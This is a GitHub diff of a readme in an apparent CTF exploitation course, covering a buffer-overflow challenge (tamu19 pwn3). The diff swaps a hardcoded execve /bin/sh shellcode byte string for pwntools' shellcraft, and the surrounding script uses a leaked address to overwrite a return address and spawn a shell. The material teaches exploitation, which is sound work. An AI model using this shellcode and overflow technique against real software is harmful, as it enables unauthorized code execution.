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Update readme.md #34

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Update readme.md #34

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5 changes: 2 additions & 3 deletions modules/06-bof_shellcode/tamu19_pwn3/readme.md
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Original file line number Diff line number Diff line change
Expand Up @@ -166,8 +166,7 @@ shellcodeAdr = int(leak.strip("!\n"), 16)

# Make the payload
payload = ""
# Our shellcode from: http://shell-storm.org/shellcode/files/shellcode-827.php
payload += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
payload += asm(shellcraft.i386.linux.sh())
# Pad the rest of the space to the return address with zeroes
payload += "0"*(0x12e - len(payload))
# Overwrite the return address with te leaked address which points to the start of our shellcode
Expand All @@ -194,4 +193,4 @@ $ ls
exploit.py pwn3
```

Just like that, we popped a shell!
Just like that, we popped a shell!